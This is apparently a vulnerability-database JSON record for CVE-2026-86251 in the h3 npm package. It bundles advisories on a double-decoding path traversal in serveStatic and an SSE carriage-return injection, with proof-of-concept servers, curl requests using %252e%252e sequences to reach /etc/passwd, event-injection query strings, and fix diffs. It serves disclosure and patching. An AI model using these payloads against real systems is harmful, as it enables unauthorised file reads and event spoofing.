{"id":"CVE-2026-86251","aliases":["CLSA-2026-1790707412","EUVD-2026-72107","GHSA-4hxc-9384-m385","GHSA-676v-2c25-vqpj","GHSA-72gr-qfp7-vwhw"],"status":"published","title":"h3 before 1.15.9 Path Traversal via Double Decoding","description":"h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00428,"percentile":0.37451,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-74"],"published":"2026-03-20T20:50:09Z","modified":"2026-10-28T02:30:45Z","fixes":[{"ecosystem":"npm","package":"h3","fixed_in":["2.0.1-rc.17","1.15.9"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"h3","fixed_in":["1.15.3-tuxcare.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"h3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0-beta.0"},{"last_affected":"2.0.1-rc.16"},{"fixed":"2.0.1-rc.17"}]}]},{"source":"ghsa","ecosystem":"npm","package":"h3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.15.9"}]}]},{"source":"ghsa","ecosystem":"npm","package":"h3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.15.8"},{"fixed":"1.15.9"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"h3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.15.3-tuxcare.0"},{"fixed":"1.15.3-tuxcare.2"}]}],"versions":["1.15.3","1.15.3-tuxcare.1"]},{"source":"osv","ecosystem":"npm","package":"h3","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0-beta.0"},{"fixed":"2.0.1-rc.17"}]}]},{"source":"osv","ecosystem":"npm","package":"h3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.15.9"}]}]},{"source":"osv","ecosystem":"npm","package":"h3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.15.9"}]}]}],"products":[{"vendor":"h3js","product":"h3"}],"references":[{"url":"https://github.com/h3js/h3/security/advisories/GHSA-72gr-qfp7-vwhw","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/h3-before-1.15.9-path-traversal-via-double-decoding","tags":["third-party-advisory","advisory"]},{"url":"https://github.com/h3js/h3/security/advisories/GHSA-4hxc-9384-m385","tags":["web"]},{"url":"https://github.com/advisories/GHSA-4hxc-9384-m385"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86251","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-676v-2c25-vqpj"},{"url":"https://github.com/advisories/GHSA-72gr-qfp7-vwhw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86251.json","tags":["advisory"]},{"url":"https://github.com/h3js/h3","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-86251","title":"h3 before 1.15.9 Path Traversal via Double Decoding","description":"h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.","status":"published","published":"2026-09-06T12:00:26.881Z","modified":"2026-09-09T13:57:41.603Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:49:53.818886Z"}],"euvd":[{"id":"EUVD-2026-72107","description":"h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.","status":"published","published":"2026-09-06T12:00:26Z","modified":"2026-09-09T13:57:41Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:28:27.325238Z"}],"ghsa":[{"id":"GHSA-4hxc-9384-m385","title":"h3: SSE Event Injection via Unsanitized Carriage Return (`\\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)","description":"## Summary\n\nThe `EventStream` class in h3 fails to sanitize carriage return (`\\r`) characters in `data` and `comment` fields. Per the SSE specification, `\\r` is a valid line terminator, so browsers interpret injected `\\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\\n` injection but missed `\\r`-only injection.\n\n## Details\n\nThe prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\\n` and `\\r` from `id` and `event` fields, and changed `data` formatting to split on `\\n`. However, two code paths remain vulnerable:\n\n### 1. `data` field — `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`)\n\n```typescript\nconst data = typeof message.data === \"string\" ? message.data : \"\";\nfor (const line of data.split(\"\\n\")) {  // Only splits on \\n, not \\r\n  result += `data: ${line}\\n`;\n}\n```\n\n`String.prototype.split(\"\\n\")` does **not** split on `\\r`. A string like `\"legit\\revent: evil\"` remains as a single \"line\" and is emitted as:\n\n```\ndata: legit\\revent: evil\\n\n```\n\nPer the [SSE specification §9.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\\r` alone is a valid line terminator. The browser parses this as two separate lines:\n\n```\ndata: legit\nevent: evil\n```\n\n### 2. `comment` field — `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`)\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(\"\\n\")  // Only splits on \\n, not \\r\n      .map((l) =\u003e `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n```\n\nThe same `split(\"\\n\")` pattern means `\\r` in comments is not handled. An input like `\"x\\rdata: injected\"` produces:\n\n```\n: x\\rdata: injected\\n\\n\n```\n\nWhich the browser parses as a comment line followed by actual data:\n\n```\n: x\ndata: injected\n```\n\n### Why `_sanitizeSingleLine` doesn't help\n\nThe `_sanitizeSingleLine` function at line 198 correctly strips both `\\r` and `\\n`:\n\n```typescript\nfunction _sanitizeSingleLine(value: string): string {\n  return value.replace(/[\\n\\r]/g, \"\");\n}\n```\n\nBut it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`.\n\n## PoC\n\n### Setup\n\nCreate a minimal h3 application that reflects user input into an SSE stream:\n\n```javascript\n// server.mjs\nimport { createApp, createEventStream, defineEventHandler, getQuery } from \"h3\";\n\nconst app = createApp();\n\napp.use(\"/sse\", defineEventHandler(async (event) =\u003e {\n  const stream = createEventStream(event);\n  const { msg } = getQuery(event);\n\n  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)\n  await stream.push(String(msg));\n\n  setTimeout(() =\u003e stream.close(), 1000);\n  return stream.send();\n}));\n\nexport default app;\n```\n\n### Attack 1: Event type injection via `\\r` in data\n\n```bash\n# Inject an \"event: evil\" directive via \\r in data\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=legit%0Devent:%20evil\"\n```\n\n**Expected (safe) wire output:**\n```\ndata: legit\\revent: evil\\n\\n\n```\n\n**Browser parses as:**\n```\ndata: legit\nevent: evil\n```\n\nThe browser's `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers.\n\n### Attack 2: Message boundary injection (event splitting)\n\n```bash\n# Inject a message boundary (\\r\\r = empty line) to split one push() into two events\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected\"\n```\n\n**Browser parses as two separate events:**\n1. Event 1: `data: first`\n2. Event 2: `data: injected`\n\nA single `push()` call produces two distinct events in the browser — the attacker controls the second event's content entirely.\n\n### Attack 3: Comment escape to data injection\n\n```bash\n# Inject via pushComment() — escape from comment into data\ncurl -N --no-buffer \"http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected\"\n```\n\n**Browser parses as:**\n```\n: x          (comment, ignored)\ndata: injected  (real data, dispatched as event)\n```\n\n## Impact\n\n- **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation.\n- **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected \"system\" message could appear in an AI chat interface.\n- **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`.\n- **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.\n\n## Recommended Fix\n\nBoth `formatEventStreamMessage` and `formatEventStreamComment` should split on `\\r`, `\\n`, and `\\r\\n` — matching the SSE spec's line terminator definition.\n\n```typescript\n// src/utils/internal/event-stream.ts\n\n// Add a shared regex for SSE line terminators\nconst SSE_LINE_SPLIT = /\\r\\n|\\r|\\n/;\n\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(SSE_LINE_SPLIT)  // was: .split(\"\\n\")\n      .map((l) =\u003e `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${_sanitizeSingleLine(message.id)}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${_sanitizeSingleLine(message.event)}\\n`;\n  }\n  if (typeof message.retry === \"number\" \u0026\u0026 Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  const data = typeof message.data === \"string\" ? message.data : \"\";\n  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split(\"\\n\")\n    result += `data: ${line}\\n`;\n  }\n  result += \"\\n\";\n  return result;\n}\n```\n\nThis ensures all three SSE-spec line terminators (`\\r\\n`, `\\r`, `\\n`) are properly handled as line boundaries, preventing `\\r` from being passed through to the browser where it would be interpreted as a line break.","status":"published","published":"2026-03-20T20:50:38Z","modified":"2026-03-20T20:50:41Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:39:39.567266Z"},{"id":"GHSA-676v-2c25-vqpj","title":"h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A...","description":"h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.","status":"published","published":"2026-09-06T12:30:23Z","modified":"2026-09-06T12:30:30Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:11:25.773648Z"},{"id":"GHSA-72gr-qfp7-vwhw","title":"h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`","description":"## Summary\n\nThe `serveStatic` utility in h3 applies a redundant `decodeURI()` call to the request pathname after `H3Event` has already performed percent-decoding with `%25` preservation. This double decoding converts `%252e%252e` into `%2e%2e`, which bypasses `resolveDotSegments()` (since it checks for literal `.` characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), `%2e%2e` is interpreted as `..` per the URL Standard, enabling path traversal to read arbitrary files from the backend.\n\n## Details\n\nThe vulnerability is a conflict between two decoding stages:\n\n**Stage 1 — `H3Event` constructor** (`src/event.ts:65-69`):\n\n```typescript\nif (url.pathname.includes(\"%\")) {\n  url.pathname = decodeURI(\n    url.pathname.includes(\"%25\") ? url.pathname.replace(/%25/g, \"%2525\") : url.pathname,\n  );\n}\n```\n\nThis correctly preserves `%25` sequences by escaping them before decoding. A request for `/%252e%252e/etc/passwd` produces `event.url.pathname` = `/%2e%2e/etc/passwd` — the `%25` was preserved so `%252e` became `%2e` (not `.`).\n\n**Stage 2 — `serveStatic`** (`src/utils/static.ts:86-88`):\n\n```typescript\nconst originalId = resolveDotSegments(\n  decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),\n);\n```\n\nThis applies a **second** `decodeURI()`, which decodes `%2e` → `.`, producing `/../../../etc/passwd`. However, the decoding happens *inside* the `resolveDotSegments()` call argument — `decodeURI` runs first, then `resolveDotSegments` processes the result.\n\nWait — re-examining the flow more carefully:\n\n1. Input pathname after event.ts: `/%2e%2e/%2e%2e/etc/passwd`\n2. `decodeURI()` in static.ts converts `%2e` → `.`, producing: `/../../../etc/passwd`\n3. `resolveDotSegments(\"/../../../etc/passwd\")` **does** resolve `..` segments, clamping to `/etc/passwd`\n\nThe actual bypass is subtler. `decodeURI()` does **not** decode `%2e` — it only decodes characters that `encodeURI` would encode. Since `.` is never encoded by `encodeURI`, `%2e` is **not** decoded by `decodeURI()`. So the chain is:\n\n1. Request: `/%252e%252e/%252e%252e/etc/passwd`\n2. After event.ts decode: `/%2e%2e/%2e%2e/etc/passwd`\n3. `decodeURI()` in static.ts: `/%2e%2e/%2e%2e/etc/passwd` (unchanged — `decodeURI` doesn't decode `%2e`)\n4. `resolveDotSegments()` fast-returns at line 56 because `%2e` contains no literal `.` character:\n   ```typescript\n   if (!path.includes(\".\")) {\n     return path;\n   }\n   ```\n5. Asset ID `/%2e%2e/%2e%2e/etc/passwd` is passed to `getMeta()` and `getContents()` callbacks\n6. URL-based backends resolve `%2e%2e` as `..` per RFC 3986 / URL Standard\n\nThe root cause is `resolveDotSegments()` only checks for literal `.` characters and does not account for percent-encoded dot sequences (`%2e`). The `decodeURI()` in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that `%2e%2e` survives as a traversal payload through both decoding stages and `resolveDotSegments`.\n\n## PoC\n\n**1. Create a minimal h3 server with a URL-based static backend:**\n\n```javascript\n// server.mjs\nimport { H3, serveStatic } from \"h3\";\nimport { serve } from \"srvx\";\n\nconst app = new H3();\n\napp.get(\"/**\", (event) =\u003e {\n  return serveStatic(event, {\n    getMeta(id) {\n      console.log(\"[getMeta] asset ID:\", id);\n      // Simulate URL-based backend (CDN/S3)\n      const url = new URL(id, \"https://cdn.example.com/static/\");\n      console.log(\"[getMeta] resolved URL:\", url.href);\n      return { type: \"text/plain\" };\n    },\n    getContents(id) {\n      console.log(\"[getContents] asset ID:\", id);\n      const url = new URL(id, \"https://cdn.example.com/static/\");\n      console.log(\"[getContents] resolved URL:\", url.href);\n      return `Fetched from: ${url.href}`;\n    },\n  });\n});\n\nserve({ fetch: app.fetch, port: 3000 });\n```\n\n**2. Send the double-encoded traversal request:**\n\n```bash\ncurl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd'\n```\n\n**3. Observe server logs:**\n\n```\n[getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd\n[getMeta] resolved URL: https://cdn.example.com/etc/passwd\n[getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd\n[getContents] resolved URL: https://cdn.example.com/etc/passwd\n```\n\nThe `%2e%2e` sequences in the asset ID are resolved as `..` by the `URL` constructor, causing the backend URL to traverse from `/static/` to `/etc/passwd`.\n\n## Impact\n\n- **Arbitrary file read from backend storage:** An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers).\n- **Sensitive data exposure:** Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage.\n- **Affected deployments:** Applications using `serveStatic` with callbacks that resolve asset IDs via URL construction (`new URL(id, baseUrl)` or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using `path.join()` are not affected since `%2e%2e` is not resolved as a traversal sequence by filesystem APIs.\n\n## Recommended Fix\n\nThe `resolveDotSegments()` function must account for percent-encoded dot sequences. Additionally, the redundant `decodeURI()` in `serveStatic` should be removed since `H3Event` already handles decoding.\n\n**Fix 1 — Remove redundant `decodeURI` in `src/utils/static.ts:86-88`:**\n\n```diff\n  const originalId = resolveDotSegments(\n-   decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),\n+   withLeadingSlash(withoutTrailingSlash(event.url.pathname)),\n  );\n```\n\n**Fix 2 — Harden `resolveDotSegments` in `src/utils/internal/path.ts:55-73` to handle percent-encoded dots:**\n\n```diff\n export function resolveDotSegments(path: string): string {\n-  if (!path.includes(\".\")) {\n+  if (!path.includes(\".\") \u0026\u0026 !path.toLowerCase().includes(\"%2e\")) {\n     return path;\n   }\n   // Normalize backslashes to forward slashes to prevent traversal via `\\`\n-  const segments = path.replaceAll(\"\\\\\", \"/\").split(\"/\");\n+  const segments = path.replaceAll(\"\\\\\", \"/\")\n+    .replaceAll(/%2e/gi, \".\")\n+    .split(\"/\");\n   const resolved: string[] = [];\n```\n\nBoth fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring `resolveDotSegments` cannot be bypassed with percent-encoded dots regardless of the caller.","status":"published","published":"2026-03-20T20:50:09Z","modified":"2026-03-20T20:50:11Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:39.567266Z"}],"nvd":[{"id":"CVE-2026-86251","description":"h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.","status":"published","published":"2026-09-06T12:17:15.9Z","modified":"2026-09-09T14:17:21.977Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:44.082631Z"}],"osv":[{"id":"CVE-2026-86251","title":"h3 before 1.15.9 Path Traversal via Double Decoding","description":"h3 versions before 1.15.9 contain a path traversal vulnerability in the serveStatic utility. A double-decoding flaw allows a request path containing double-encoded dot sequences (e.g. %252e%252e) to be decoded to %2e%2e, which survives resolveDotSegments() because that function only checks for literal '.' characters. When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as '..' per RFC 3986, enabling path traversal to read arbitrary files from the backend.","status":"published","published":"2026-09-06T12:00:26.881Z","modified":"2026-10-28T02:30:45.834904411Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:18.825071Z"},{"id":"GHSA-4hxc-9384-m385","title":"h3: SSE Event Injection via Unsanitized Carriage Return (`\\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)","description":"## Summary\n\nThe `EventStream` class in h3 fails to sanitize carriage return (`\\r`) characters in `data` and `comment` fields. Per the SSE specification, `\\r` is a valid line terminator, so browsers interpret injected `\\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\\n` injection but missed `\\r`-only injection.\n\n## Details\n\nThe prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\\n` and `\\r` from `id` and `event` fields, and changed `data` formatting to split on `\\n`. However, two code paths remain vulnerable:\n\n### 1. `data` field — `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`)\n\n```typescript\nconst data = typeof message.data === \"string\" ? message.data : \"\";\nfor (const line of data.split(\"\\n\")) {  // Only splits on \\n, not \\r\n  result += `data: ${line}\\n`;\n}\n```\n\n`String.prototype.split(\"\\n\")` does **not** split on `\\r`. A string like `\"legit\\revent: evil\"` remains as a single \"line\" and is emitted as:\n\n```\ndata: legit\\revent: evil\\n\n```\n\nPer the [SSE specification §9.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\\r` alone is a valid line terminator. The browser parses this as two separate lines:\n\n```\ndata: legit\nevent: evil\n```\n\n### 2. `comment` field — `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`)\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(\"\\n\")  // Only splits on \\n, not \\r\n      .map((l) =\u003e `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n```\n\nThe same `split(\"\\n\")` pattern means `\\r` in comments is not handled. An input like `\"x\\rdata: injected\"` produces:\n\n```\n: x\\rdata: injected\\n\\n\n```\n\nWhich the browser parses as a comment line followed by actual data:\n\n```\n: x\ndata: injected\n```\n\n### Why `_sanitizeSingleLine` doesn't help\n\nThe `_sanitizeSingleLine` function at line 198 correctly strips both `\\r` and `\\n`:\n\n```typescript\nfunction _sanitizeSingleLine(value: string): string {\n  return value.replace(/[\\n\\r]/g, \"\");\n}\n```\n\nBut it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`.\n\n## PoC\n\n### Setup\n\nCreate a minimal h3 application that reflects user input into an SSE stream:\n\n```javascript\n// server.mjs\nimport { createApp, createEventStream, defineEventHandler, getQuery } from \"h3\";\n\nconst app = createApp();\n\napp.use(\"/sse\", defineEventHandler(async (event) =\u003e {\n  const stream = createEventStream(event);\n  const { msg } = getQuery(event);\n\n  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)\n  await stream.push(String(msg));\n\n  setTimeout(() =\u003e stream.close(), 1000);\n  return stream.send();\n}));\n\nexport default app;\n```\n\n### Attack 1: Event type injection via `\\r` in data\n\n```bash\n# Inject an \"event: evil\" directive via \\r in data\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=legit%0Devent:%20evil\"\n```\n\n**Expected (safe) wire output:**\n```\ndata: legit\\revent: evil\\n\\n\n```\n\n**Browser parses as:**\n```\ndata: legit\nevent: evil\n```\n\nThe browser's `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers.\n\n### Attack 2: Message boundary injection (event splitting)\n\n```bash\n# Inject a message boundary (\\r\\r = empty line) to split one push() into two events\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected\"\n```\n\n**Browser parses as two separate events:**\n1. Event 1: `data: first`\n2. Event 2: `data: injected`\n\nA single `push()` call produces two distinct events in the browser — the attacker controls the second event's content entirely.\n\n### Attack 3: Comment escape to data injection\n\n```bash\n# Inject via pushComment() — escape from comment into data\ncurl -N --no-buffer \"http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected\"\n```\n\n**Browser parses as:**\n```\n: x          (comment, ignored)\ndata: injected  (real data, dispatched as event)\n```\n\n## Impact\n\n- **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation.\n- **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected \"system\" message could appear in an AI chat interface.\n- **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`.\n- **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.\n\n## Recommended Fix\n\nBoth `formatEventStreamMessage` and `formatEventStreamComment` should split on `\\r`, `\\n`, and `\\r\\n` — matching the SSE spec's line terminator definition.\n\n```typescript\n// src/utils/internal/event-stream.ts\n\n// Add a shared regex for SSE line terminators\nconst SSE_LINE_SPLIT = /\\r\\n|\\r|\\n/;\n\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(SSE_LINE_SPLIT)  // was: .split(\"\\n\")\n      .map((l) =\u003e `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${_sanitizeSingleLine(message.id)}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${_sanitizeSingleLine(message.event)}\\n`;\n  }\n  if (typeof message.retry === \"number\" \u0026\u0026 Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  const data = typeof message.data === \"string\" ? message.data : \"\";\n  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split(\"\\n\")\n    result += `data: ${line}\\n`;\n  }\n  result += \"\\n\";\n  return result;\n}\n```\n\nThis ensures all three SSE-spec line terminators (`\\r\\n`, `\\r`, `\\n`) are properly handled as line boundaries, preventing `\\r` from being passed through to the browser where it would be interpreted as a line break.","status":"published","published":"2026-03-20T20:50:38Z","modified":"2026-09-10T03:50:37.291276895Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:46:37.148947Z"},{"id":"GHSA-72gr-qfp7-vwhw","title":"h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`","description":"## Summary\n\nThe `serveStatic` utility in h3 applies a redundant `decodeURI()` call to the request pathname after `H3Event` has already performed percent-decoding with `%25` preservation. This double decoding converts `%252e%252e` into `%2e%2e`, which bypasses `resolveDotSegments()` (since it checks for literal `.` characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), `%2e%2e` is interpreted as `..` per the URL Standard, enabling path traversal to read arbitrary files from the backend.\n\n## Details\n\nThe vulnerability is a conflict between two decoding stages:\n\n**Stage 1 — `H3Event` constructor** (`src/event.ts:65-69`):\n\n```typescript\nif (url.pathname.includes(\"%\")) {\n  url.pathname = decodeURI(\n    url.pathname.includes(\"%25\") ? url.pathname.replace(/%25/g, \"%2525\") : url.pathname,\n  );\n}\n```\n\nThis correctly preserves `%25` sequences by escaping them before decoding. A request for `/%252e%252e/etc/passwd` produces `event.url.pathname` = `/%2e%2e/etc/passwd` — the `%25` was preserved so `%252e` became `%2e` (not `.`).\n\n**Stage 2 — `serveStatic`** (`src/utils/static.ts:86-88`):\n\n```typescript\nconst originalId = resolveDotSegments(\n  decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))),\n);\n```\n\nThis applies a **second** `decodeURI()`, which decodes `%2e` → `.`, producing `/../../../etc/passwd`. However, the decoding happens *inside* the `resolveDotSegments()` call argument — `decodeURI` runs first, then `resolveDotSegments` processes the result.\n\nWait — re-examining the flow more carefully:\n\n1. Input pathname after event.ts: `/%2e%2e/%2e%2e/etc/passwd`\n2. `decodeURI()` in static.ts converts `%2e` → `.`, producing: `/../../../etc/passwd`\n3. `resolveDotSegments(\"/../../../etc/passwd\")` **does** resolve `..` segments, clamping to `/etc/passwd`\n\nThe actual bypass is subtler. `decodeURI()` does **not** decode `%2e` — it only decodes characters that `encodeURI` would encode. Since `.` is never encoded by `encodeURI`, `%2e` is **not** decoded by `decodeURI()`. So the chain is:\n\n1. Request: 